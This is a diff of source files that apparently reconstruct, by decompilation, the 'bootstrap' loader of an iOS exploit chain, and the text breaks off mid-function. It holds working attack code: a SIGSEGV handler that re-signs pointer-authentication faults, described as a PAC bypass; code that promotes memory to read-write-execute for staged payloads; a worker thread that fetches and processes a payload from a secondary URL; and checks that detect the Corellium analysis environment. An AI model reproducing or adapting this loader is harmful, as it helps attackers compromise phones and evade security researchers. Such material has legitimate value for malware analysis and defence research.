|
||||
clone->key_ptr = new_key;
|
||||
}
|
||||
|
||||
if (clone->base_url) {
|
||||
clone->base_url = strdup(clone->base_url);
|
||||
if (!clone->base_url)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (clone->user_agent) {
|
||||
clone->user_agent = strdup(clone->user_agent);
|
||||
if (!clone->user_agent)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (clone->alt_url) {
|
||||
clone->alt_url = strdup(clone->alt_url);
|
||||
if (!clone->alt_url)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Create worker thread */
|
||||
print_log("[bootstrap] process: creating worker thread");
|
||||
{
|
||||
uint32_t thread_err = ERR_NULL_CTX + 0x10000;
|
||||
pthread_attr_t attr;
|
||||
if (pthread_attr_init(&attr))
|
||||
goto fail;
|
||||
|
||||
if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) {
|
||||
pthread_attr_destroy(&attr);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
pthread_t thread;
|
||||
if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
|
||||
thread_err = 1; /* success sentinel */
|
||||
print_log("[bootstrap] process: worker thread created OK");
|
||||
} else {
|
||||
thread_err++;
|
||||
print_log("[bootstrap] process: pthread_create FAILED");
|
||||
}
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
return thread_err;
|
||||
}
|
||||
|
||||
fail:
|
||||
print_log("[bootstrap] process: FAIL (alloc error)");
|
||||
return ERR_NULL_CTX + 0x10000;
|
||||
}
|
||||
|
||||
/* ── thread_main (0x6c44) ──────────────────────────────────────── */
|
||||
/* Worker thread entry point. Sets up SIGSEGV handler for PAC faults,
|
||||
* creates a UIApplication background task, calls process_payload,
|
||||
* then cleans up.
|
||||
*/
|
||||
|
||||
void *thread_main(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
uint32_t err = ERR_GENERIC;
|
||||
uint32_t result = err - 9; /* = ERR_NULL_CTX */
|
||||
int sig_installed = 0;
|
||||
|
||||
print_log("[bootstrap] thread_main: entry ctx=%p", ctx);
|
||||
|
||||
/* Install PAC SIGSEGV handler on iOS 13-14 arm64e only.
|
||||
* On iOS 15+, the exploit uses a different PAC bypass strategy
|
||||
* and does NOT need the SIGSEGV fault handler. */
|
||||
uint16_t os_major = (ctx->os_version >> 16) & 0xFF;
|
||||
print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac());
|
||||
if (os_major <= 14 && has_pac()) {
|
||||
/* Install SIGSEGV handler for PAC faults */
|
||||
print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler");
|
||||
struct sigaction sa, old_sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer;
|
||||
sa.sa_flags = SA_SIGINFO;
|
||||
|
||||
if (sigaction(SIGSEGV, &sa, &old_sa) != 0) {
|
||||
err = *__error();
|
||||
if (err < 0) err = (uint32_t)(-err);
|
||||
err |= 0x40000000;
|
||||
print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err);
|
||||
return (void *)(uintptr_t)err;
|
||||
}
|
||||
sig_installed = 1;
|
||||
print_log("[bootstrap] thread_main: SIGSEGV handler installed");
|
||||
}
|
||||
|
||||
/* Begin UIApplication background task */
|
||||
UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid;
|
||||
|
||||
UIApplication *app = [UIApplication alloc];
|
||||
print_log("[bootstrap] thread_main: UIApplication=%p", app);
|
||||
if (!app) {
|
||||
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
|
||||
return (void *)(uintptr_t)err;
|
||||
}
|
||||
|
||||
id expireBlock = ^{
|
||||
print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task);
|
||||
[app endBackgroundTask:bg_task];
|
||||
//bg_task = UIBackgroundTaskInvalid;
|
||||
};
|
||||
// uint64_t underlyingClass = *(uint64_t*)expireBlock;
|
||||
// __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48)));
|
||||
// *(uint64_t*)expireBlock = underlyingClass;
|
||||
|
||||
bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock];
|
||||
print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task);
|
||||
|
||||
/* Process the payload */
|
||||
char *url = ctx->secondary_url;
|
||||
print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)");
|
||||
if (url) {
|
||||
err = process_payload(ctx, url, 0, &result);
|
||||
print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result);
|
||||
if (err == 0)
|
||||
err = result;
|
||||
} else {
|
||||
err = 0;
|
||||
}
|
||||
|
||||
/* End background task if it was started */
|
||||
if (bg_task != UIBackgroundTaskInvalid) {
|
||||
print_log("[bootstrap] thread_main: ending background task");
|
||||
[app endBackgroundTask:bg_task];
|
||||
bg_task = UIBackgroundTaskInvalid;
|
||||
}
|
||||
|
||||
/* Restore SIGSEGV handler if we installed one */
|
||||
if (sig_installed) {
|
||||
print_log("[bootstrap] thread_main: restoring SIGSEGV handler");
|
||||
struct sigaction old_sa;
|
||||
if (sigaction(SIGSEGV, NULL, &old_sa) != 0) {
|
||||
err = *__error();
|
||||
if (err < 0) err = (uint32_t)(-err);
|
||||
err |= 0x40000000;
|
||||
print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err);
|
||||
}
|
||||
}
|
||||
|
||||
/* Check if exit requested */
|
||||
if (ctx->flag_exit) {
|
||||
print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)");
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
|
||||
return (void *)(uintptr_t)err;
|
||||
|
||||
done:
|
||||
print_log("[bootstrap] thread_main: done err=0x%x", err);
|
||||
return (void *)(uintptr_t)err;
|
||||
}
|
||||
@@ -0,0 +1,286 @@
|
||||
/*
|
||||
* memory.m - Cache, buffer allocation, and memory region management
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x5dc8-0x5fe8, 0x8298-0x842c
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <unistd.h>
|
||||
#import <mach/mach.h>
|
||||
#import <libkern/OSAtomic.h>
|
||||
|
||||
extern void sys_dcache_flush(void *addr, size_t size);
|
||||
extern void sys_icache_invalidate(void *addr, size_t size);
|
||||
extern int proc_pidinfo(int pid, int flavor, uint64_t arg,
|
||||
void *buf, int bufsize);
|
||||
|
||||
/* ── flush_icache (0x5dc8) ───────────────────────────────────────── */
|
||||
|
||||
void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size)
|
||||
{
|
||||
uint8_t *base;
|
||||
uint32_t total;
|
||||
|
||||
if (addr && size) {
|
||||
base = (uint8_t *)addr;
|
||||
total = size;
|
||||
} else {
|
||||
total = ctx->exec_size;
|
||||
if (total == 0) return;
|
||||
base = ctx->exec_base;
|
||||
}
|
||||
|
||||
print_log("[bootstrap] flush_icache: base=%p size=0x%x", base, total);
|
||||
|
||||
uint32_t offset = 0;
|
||||
uint32_t remaining = total;
|
||||
while (total > offset) {
|
||||
uint32_t chunk = remaining;
|
||||
if (chunk > 0x50000)
|
||||
chunk = 0x50000;
|
||||
sys_dcache_flush(base + offset, chunk);
|
||||
sys_icache_invalidate(base + offset, chunk);
|
||||
offset += 0x50000;
|
||||
remaining = total - offset;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── alloc_buffer (0x5e78) ───────────────────────────────────────── */
|
||||
|
||||
uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size)
|
||||
{
|
||||
print_log("[bootstrap] alloc_buffer: size=0x%x", size);
|
||||
|
||||
uint8_t *exec_base = ctx->exec_base;
|
||||
uint32_t exec_size = ctx->exec_size;
|
||||
uint32_t *state = ctx->atomic_state;
|
||||
|
||||
if (!state)
|
||||
state = (uint32_t *)(exec_base + exec_size - 4);
|
||||
|
||||
for (;;) {
|
||||
uint32_t current = __atomic_load_n(state, __ATOMIC_ACQUIRE);
|
||||
uint32_t add = size;
|
||||
if (current == 0)
|
||||
add += 4;
|
||||
uint32_t new_val = current + add;
|
||||
if (new_val > exec_size) {
|
||||
print_log("[bootstrap] alloc_buffer: FAIL size exceeds exec region (0x%x > 0x%x)", new_val, exec_size);
|
||||
return 0xc003;
|
||||
}
|
||||
|
||||
uint32_t expected = current;
|
||||
if (__atomic_compare_exchange_n(state, &expected, new_val,
|
||||
0, __ATOMIC_ACQ_REL,
|
||||
__ATOMIC_ACQUIRE))
|
||||
{
|
||||
uint8_t *ptr = exec_base + exec_size - new_val;
|
||||
ctx->buffer_ptr = ptr;
|
||||
ctx->buffer_remaining = size;
|
||||
bzero(ptr, (size_t)size);
|
||||
|
||||
if (ctx->fn_icache_flush)
|
||||
ctx->fn_icache_flush(ctx, ctx->buffer_ptr, ctx->buffer_remaining);
|
||||
|
||||
print_log("[bootstrap] alloc_buffer: OK ptr=%p", ptr);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ── consume_buffer (0x5f4c) ─────────────────────────────────────── */
|
||||
|
||||
void *consume_buffer(bootstrap_ctx_t *ctx, uint32_t size)
|
||||
{
|
||||
if (ctx->buffer_remaining < size)
|
||||
return NULL;
|
||||
|
||||
uint8_t *old = ctx->buffer_ptr;
|
||||
ctx->buffer_ptr = old + size;
|
||||
ctx->buffer_remaining -= size;
|
||||
return old;
|
||||
}
|
||||
|
||||
/* ── secure_bzero (0x5fa0) ───────────────────────────────────────── */
|
||||
|
||||
uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size)
|
||||
{
|
||||
if (ptr && size)
|
||||
bzero(ptr, size);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── ensure_rwx_protection ───────────────────────────────────────── */
|
||||
/* On modern iOS (14.5+), JIT regions may have current protection ---
|
||||
* with max protection rwx. We need to vm_protect them to rwx before use.
|
||||
*/
|
||||
|
||||
static uint32_t ensure_rwx_protection(uint64_t addr, uint64_t size,
|
||||
uint32_t cur_prot, uint32_t max_prot)
|
||||
{
|
||||
if (cur_prot == 0x7) {
|
||||
/* Already rwx */
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (max_prot != 0x7) {
|
||||
print_log("[bootstrap] ensure_rwx_protection: max_prot=0x%x (not rwx), cannot fix", max_prot);
|
||||
return 0xc001;
|
||||
}
|
||||
|
||||
print_log("[bootstrap] ensure_rwx_protection: promoting ---/rwx -> rwx/rwx at 0x%llx size=0x%llx",
|
||||
(unsigned long long)addr, (unsigned long long)size);
|
||||
kern_return_t kr = vm_protect(mach_task_self(), (vm_address_t)addr,
|
||||
(vm_size_t)size, 0,
|
||||
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
print_log("[bootstrap] ensure_rwx_protection: vm_protect FAIL kr=0x%x", kr);
|
||||
return kr | 0x80000000;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── setup_memory (0x8298) ───────────────────────────────────────── */
|
||||
|
||||
uint32_t setup_memory(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
print_log("[bootstrap] setup_memory: flag_a=%d flag_b=%d flag_direct_mem=%d", ctx->flag_a, ctx->flag_b, ctx->flag_direct_mem);
|
||||
|
||||
if (ctx->flag_a || ctx->flag_b || ctx->flag_direct_mem) {
|
||||
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
|
||||
|
||||
if (!ctx->flag_b && !ctx->flag_direct_mem) {
|
||||
ctx->buffer_remaining = 0;
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
print_log("[bootstrap] setup_memory: os_ver=0x%x", os_ver);
|
||||
|
||||
if (os_ver >= 0x0F0000) {
|
||||
/* iOS 15+: use proc_pidinfo (PROC_PIDREGIONINFO = 7) */
|
||||
/* Returns struct proc_regioninfo (0x60 bytes):
|
||||
* +0x00: pri_protection (uint32_t)
|
||||
* +0x04: pri_max_protection (uint32_t)
|
||||
* ...
|
||||
* +0x50: pri_address (uint64_t)
|
||||
* +0x58: pri_size (uint64_t)
|
||||
*/
|
||||
struct {
|
||||
uint8_t data[0x60];
|
||||
} info;
|
||||
|
||||
int ret = proc_pidinfo(getpid(), 7,
|
||||
(uint64_t)ctx->buffer_ptr,
|
||||
&info, 0x60);
|
||||
if (ret <= 0) {
|
||||
print_log("[bootstrap] setup_memory: proc_pidinfo FAIL ret=%d", ret);
|
||||
return 0x80000005;
|
||||
}
|
||||
|
||||
uint64_t region_addr = *(uint64_t *)((uint8_t *)&info + 0x50);
|
||||
uint64_t region_size = *(uint64_t *)((uint8_t *)&info + 0x58);
|
||||
|
||||
uint32_t prot = *(uint32_t *)((uint8_t *)&info);
|
||||
uint32_t max_prot = *(uint32_t *)((uint8_t *)&info + 4);
|
||||
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
|
||||
(unsigned long long)region_addr, (unsigned long long)region_size, prot, max_prot);
|
||||
|
||||
if (!ctx->mmap_secondary && prot != 0x7) {
|
||||
/* Current protection is not rwx — try to promote if max allows */
|
||||
uint32_t fix_err = ensure_rwx_protection(region_addr, region_size, prot, max_prot);
|
||||
if (fix_err) {
|
||||
print_log("[bootstrap] setup_memory: cannot get rwx protection");
|
||||
return fix_err;
|
||||
}
|
||||
}
|
||||
|
||||
if (!region_addr || !region_size)
|
||||
return 0xc003;
|
||||
|
||||
uint64_t half = region_size >> 1;
|
||||
if (half > region_size)
|
||||
return 0xc003;
|
||||
|
||||
uint32_t *end = (uint32_t *)(region_addr + half);
|
||||
end--;
|
||||
if (half < *end)
|
||||
return 0xc003;
|
||||
|
||||
ctx->atomic_state = end;
|
||||
ctx->exec_base = (uint8_t *)(region_addr + half);
|
||||
uint32_t usable;
|
||||
if (ctx->flag_new_ios)
|
||||
usable = (uint32_t)(half - 0x100000);
|
||||
else
|
||||
usable = (uint32_t)(region_size >> 2);
|
||||
ctx->exec_size = usable;
|
||||
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
|
||||
print_log("[bootstrap] setup_memory: iOS15+ exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
|
||||
goto install_funcs;
|
||||
}
|
||||
|
||||
/* Pre-iOS 15: use vm_region_64 */
|
||||
{
|
||||
mach_vm_address_t addr = (mach_vm_address_t)ctx->buffer_ptr;
|
||||
mach_vm_size_t size_out = 0;
|
||||
vm_region_flavor_t flavor = 9;
|
||||
vm_region_basic_info_data_64_t info;
|
||||
mach_msg_type_number_t count = 9;
|
||||
mach_port_t object_name;
|
||||
|
||||
kern_return_t kr = vm_region_64(mach_task_self(),
|
||||
(vm_address_t *)&addr,
|
||||
(vm_size_t *)&size_out,
|
||||
flavor,
|
||||
(vm_region_info_t)&info,
|
||||
&count,
|
||||
&object_name);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
print_log("[bootstrap] setup_memory: vm_region_64 FAIL kr=0x%x", kr);
|
||||
return kr | 0x80000000;
|
||||
}
|
||||
|
||||
uint32_t prot = info.protection;
|
||||
uint32_t max_prot = info.max_protection;
|
||||
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
|
||||
(unsigned long long)addr, (unsigned long long)size_out, prot, max_prot);
|
||||
|
||||
if (!ctx->mmap_secondary && prot != 0x7) {
|
||||
/* Current protection is not rwx — try to promote if max allows */
|
||||
uint32_t fix_err = ensure_rwx_protection(addr, size_out, prot, max_prot);
|
||||
if (fix_err) {
|
||||
print_log("[bootstrap] setup_memory: cannot get rwx protection");
|
||||
return fix_err;
|
||||
}
|
||||
}
|
||||
|
||||
if (!addr || !size_out)
|
||||
return 0xc003;
|
||||
|
||||
uint64_t half = size_out >> 1;
|
||||
uint32_t *end = (uint32_t *)(addr + half);
|
||||
end--;
|
||||
if (half < *end)
|
||||
return 0xc003;
|
||||
|
||||
ctx->atomic_state = end;
|
||||
ctx->exec_base = (uint8_t *)(addr + half);
|
||||
uint32_t usable;
|
||||
if (ctx->flag_new_ios)
|
||||
usable = (uint32_t)(half - 0x100000);
|
||||
else
|
||||
usable = (uint32_t)(size_out >> 2);
|
||||
ctx->exec_size = usable;
|
||||
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
|
||||
print_log("[bootstrap] setup_memory: pre-15 exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
|
||||
}
|
||||
|
||||
install_funcs:
|
||||
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
|
||||
print_log("[bootstrap] setup_memory: OK");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
/*
|
||||
* pac.m - Pointer Authentication Code utilities
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x5cec-0x5dc4, 0x6fec-0x708c,
|
||||
* 0x7ba0-0x7be8
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <stdlib.h>
|
||||
|
||||
/* ── Raw PAC instruction wrappers (0x7ba0-0x7bbc) ────────────────── */
|
||||
|
||||
__attribute__((noinline))
|
||||
uint64_t pacia(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
uint64_t pacda(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
uint64_t pacib(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
uint64_t pacdb(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* ── check_pac_enabled (0x7bc0) ──────────────────────────────────── */
|
||||
|
||||
int check_pac_enabled(void)
|
||||
{
|
||||
uint64_t test_val = 0xAAAAAAAAAAAAAAAAULL;
|
||||
uint64_t result;
|
||||
__asm__ volatile(
|
||||
"mov x30, %1\n"
|
||||
"xpaclri\n"
|
||||
"mov %0, x30\n"
|
||||
: "=r"(result)
|
||||
: "r"(test_val)
|
||||
: "x30"
|
||||
);
|
||||
int enabled = (result != test_val) ? 1 : 0;
|
||||
print_log("[bootstrap] check_pac_enabled: %d", enabled);
|
||||
return enabled;
|
||||
}
|
||||
|
||||
/* ── has_pac (0x5cec) ────────────────────────────────────────────── */
|
||||
|
||||
int has_pac(void)
|
||||
{
|
||||
return check_pac_enabled() != 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ── strip_pac (0x5d2c) ─────────────────────────────────────────── */
|
||||
|
||||
uint64_t strip_pac(uint64_t ptr)
|
||||
{
|
||||
uint64_t result;
|
||||
__asm__ volatile(
|
||||
"mov x30, %1\n"
|
||||
"xpaclri\n"
|
||||
"mov %0, x30\n"
|
||||
: "=r"(result)
|
||||
: "r"(ptr)
|
||||
: "x30"
|
||||
);
|
||||
return result;
|
||||
}
|
||||
|
||||
/* ── pac_sign_if_needed (0x5d68) ─────────────────────────────────── */
|
||||
|
||||
uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx)
|
||||
{
|
||||
if (check_pac_enabled())
|
||||
ptr = pacia(ptr, ctx);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* ── resolve_pac_pointer (0x6fec) ─────────────────────────────────
|
||||
* SIGSEGV handler for PAC authentication faults.
|
||||
*/
|
||||
|
||||
void resolve_pac_pointer(int sig, void *info, void *ucontext)
|
||||
{
|
||||
print_log("[bootstrap] resolve_pac_pointer: sig=%d", sig);
|
||||
|
||||
uint64_t *mctx = *(uint64_t **)((uint8_t *)ucontext + 0x30);
|
||||
uint64_t pc = *(uint64_t *)((uint8_t *)mctx + 0x110);
|
||||
|
||||
uint64_t upper = pc >> 39;
|
||||
if (upper == 0x4000) {
|
||||
pc &= ~(1ULL << 53);
|
||||
} else {
|
||||
uint64_t x0_val = mctx[0];
|
||||
uint64_t masked = x0_val & 0xFFFFFF8000000000ULL;
|
||||
|
||||
if (masked == 0x2000000000000000ULL) {
|
||||
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
|
||||
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
|
||||
if (x0_low != pc_low)
|
||||
abort();
|
||||
} else if (masked == 0x0020000000000000ULL) {
|
||||
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
|
||||
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
|
||||
if (x0_low != pc_low)
|
||||
abort();
|
||||
} else {
|
||||
abort();
|
||||
}
|
||||
pc = pac_sign_if_needed(x0_val & 0x7FFFFFFFFFULL, 0x7481);
|
||||
}
|
||||
|
||||
*(uint64_t *)((uint8_t *)mctx + 0x110) = pc;
|
||||
print_log("[bootstrap] resolve_pac_pointer: fixed PC=0x%llx", pc);
|
||||
}
|
||||
@@ -0,0 +1,466 @@
|
||||
/*
|
||||
* sysinfo.m - System information gathering and device checks
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x7090-0x7b9c
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <unistd.h>
|
||||
#import <sys/stat.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <mach/mach.h>
|
||||
#import <dlfcn.h>
|
||||
#import <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
extern int sandbox_check(pid_t pid, const char *operation, int type, ...);
|
||||
extern int SANDBOX_CHECK_NO_REPORT;
|
||||
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
|
||||
|
||||
extern kern_return_t host_kernel_version(mach_port_t, char *);
|
||||
|
||||
/* ── get_cpufamily ─────────────────────────────────────────────── */
|
||||
/* Replacement for broken _get_cpu_capabilities commpage access.
|
||||
* The original binary read CPUFAMILY from commpage offset +0x80
|
||||
* via the GOT layout — that layout doesn't exist in our recompile.
|
||||
* Use the stable sysctl interface instead.
|
||||
*/
|
||||
|
||||
static uint32_t get_cpufamily(void)
|
||||
{
|
||||
uint32_t cpufamily = 0;
|
||||
size_t size = sizeof(cpufamily);
|
||||
if (sysctlbyname("hw.cpufamily", &cpufamily, &size, NULL, 0) != 0) {
|
||||
print_log("[bootstrap] get_cpufamily: sysctl FAIL");
|
||||
return 0;
|
||||
}
|
||||
return cpufamily;
|
||||
}
|
||||
|
||||
/* ── read_plist (0x7a98) ────────────────────────────────────────── */
|
||||
|
||||
void *read_plist(const char *path)
|
||||
{
|
||||
print_log("[bootstrap] read_plist: %s", path);
|
||||
|
||||
CFErrorRef error = NULL;
|
||||
CFAllocatorRef alloc = kCFAllocatorDefault;
|
||||
|
||||
size_t len = strlen(path);
|
||||
CFURLRef url = CFURLCreateFromFileSystemRepresentation(alloc, (const UInt8 *)path, len, false);
|
||||
if (!url)
|
||||
return NULL;
|
||||
|
||||
CFReadStreamRef stream = CFReadStreamCreateWithFile(alloc, url);
|
||||
if (!stream) {
|
||||
CFRelease(url);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CFReadStreamOpen(stream)) {
|
||||
CFRelease(url);
|
||||
CFRelease(stream);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CFPropertyListRef plist = CFPropertyListCreateWithStream(
|
||||
alloc, stream, 0, kCFPropertyListImmutable, NULL, &error);
|
||||
|
||||
if (!plist && error)
|
||||
CFRelease(error);
|
||||
|
||||
CFReadStreamClose(stream);
|
||||
CFRelease(url);
|
||||
CFRelease(stream);
|
||||
return (void *)plist;
|
||||
}
|
||||
|
||||
/* ── get_os_version (0x7090) ────────────────────────────────────── */
|
||||
|
||||
int get_os_version(uint32_t *out)
|
||||
{
|
||||
int patch = 0;
|
||||
|
||||
CFDictionaryRef plist = (CFDictionaryRef)read_plist(
|
||||
"/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist");
|
||||
if (!plist) {
|
||||
plist = (CFDictionaryRef)read_plist(
|
||||
"/System/Library/CoreServices/SystemVersion.plist");
|
||||
if (!plist) {
|
||||
print_log("[bootstrap] get_os_version: FAIL no SystemVersion.plist");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault,
|
||||
"ProductVersion", kCFStringEncodingUTF8);
|
||||
if (!key) {
|
||||
CFRelease(plist);
|
||||
return -1;
|
||||
}
|
||||
|
||||
CFTypeRef value = CFDictionaryGetValue(plist, key);
|
||||
if (!value) {
|
||||
CFRelease(key);
|
||||
CFRelease(plist);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (CFGetTypeID(value) != CFStringGetTypeID()) {
|
||||
CFRelease(key);
|
||||
CFRelease(plist);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char buf[0x20];
|
||||
Boolean ok = CFStringGetCString((CFStringRef)value, buf, 0x20, CFStringGetSystemEncoding());
|
||||
CFRelease(key);
|
||||
CFRelease(plist);
|
||||
|
||||
if (!ok)
|
||||
return -1;
|
||||
|
||||
int major = 0, minor = 0;
|
||||
if (sscanf(buf, "%d.%d.%d", &major, &minor, &patch) < 2)
|
||||
return -2;
|
||||
|
||||
*out = (uint32_t)((major << 16) | (minor << 8) | patch);
|
||||
print_log("[bootstrap] get_os_version: %s -> 0x%x (major=%d minor=%d patch=%d)", buf, *out, major, minor, patch);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── check_virtual_env (0x71fc) ─────────────────────────────────── */
|
||||
|
||||
uint32_t check_virtual_env(uint8_t *result)
|
||||
{
|
||||
if (!result)
|
||||
return -1;
|
||||
|
||||
print_log("[bootstrap] check_virtual_env: start");
|
||||
|
||||
struct stat st;
|
||||
memset(&st, 0, sizeof(st));
|
||||
|
||||
if (stat("/usr/libexec/corelliumd", &st) == 0) {
|
||||
print_log("[bootstrap] check_virtual_env: Corellium daemon found");
|
||||
*result = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (sandbox_check(getpid(), "iokit-get-properties",
|
||||
SANDBOX_CHECK_NO_REPORT,
|
||||
"IOPlatformSerialNumber") > 0)
|
||||
goto cpu_check;
|
||||
|
||||
{
|
||||
void *iokit = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", 1);
|
||||
if (!iokit)
|
||||
goto cpu_check;
|
||||
|
||||
void *sym_master = dlsym(iokit, "kIOMasterPortDefault");
|
||||
uint64_t master_ptr = strip_pac((uint64_t)sym_master);
|
||||
|
||||
void *sym_entry = dlsym(iokit, "IORegistryEntryFromPath");
|
||||
uint64_t entry_fn = strip_pac((uint64_t)sym_entry);
|
||||
|
||||
void *sym_prop = dlsym(iokit, "IORegistryEntryCreateCFProperty");
|
||||
uint64_t prop_fn = strip_pac((uint64_t)sym_prop);
|
||||
|
||||
void *sym_release = dlsym(iokit, "IOObjectRelease");
|
||||
uint64_t release_fn = strip_pac((uint64_t)sym_release);
|
||||
|
||||
if (!entry_fn || !prop_fn || !release_fn || !master_ptr) {
|
||||
dlclose(iokit);
|
||||
goto cpu_check;
|
||||
}
|
||||
|
||||
typedef uint32_t (*io_entry_fn_t)(uint32_t, const char *);
|
||||
uint32_t master = *(uint32_t *)master_ptr;
|
||||
uint32_t entry = ((io_entry_fn_t)entry_fn)(master, "IODeviceTree:/");
|
||||
if (!entry) {
|
||||
dlclose(iokit);
|
||||
goto cpu_check;
|
||||
}
|
||||
|
||||
CFStringRef serial_key = CFStringCreateWithCString(
|
||||
kCFAllocatorDefault, "IOPlatformSerialNumber", kCFStringEncodingUTF8);
|
||||
|
||||
int serial_ok = -1;
|
||||
char serial_buf[0x40];
|
||||
memset(serial_buf, 0, sizeof(serial_buf));
|
||||
|
||||
if (!serial_key) {
|
||||
serial_ok = -1;
|
||||
} else {
|
||||
typedef CFTypeRef (*io_prop_fn_t)(uint32_t, CFStringRef, CFAllocatorRef, uint32_t);
|
||||
CFTypeRef prop = ((io_prop_fn_t)prop_fn)(entry, serial_key, kCFAllocatorDefault, 0);
|
||||
|
||||
if (!prop || CFStringGetTypeID() != CFGetTypeID(prop)) {
|
||||
serial_ok = -1;
|
||||
} else {
|
||||
Boolean got = CFStringGetCString((CFStringRef)prop, serial_buf, 0x40, kCFStringEncodingUTF8);
|
||||
serial_ok = got ? 0 : -1;
|
||||
CFRelease(prop);
|
||||
}
|
||||
|
||||
CFRelease(serial_key);
|
||||
}
|
||||
|
||||
typedef void (*io_release_fn_t)(uint32_t);
|
||||
((io_release_fn_t)release_fn)(entry);
|
||||
dlclose(iokit);
|
||||
|
||||
if (serial_ok == 0) {
|
||||
print_log("[bootstrap] check_virtual_env: serial=%s", serial_buf);
|
||||
uint64_t first8 = *(uint64_t *)serial_buf;
|
||||
uint64_t corelliu = 0x49554C4C45524F43ULL;
|
||||
uint8_t ninth = serial_buf[8];
|
||||
memset(serial_buf, 0, sizeof(serial_buf));
|
||||
|
||||
if ((first8 ^ corelliu) == 0 && (ninth ^ 0x4D) == 0) {
|
||||
print_log("[bootstrap] check_virtual_env: CORELLIUM serial detected");
|
||||
*result = 0;
|
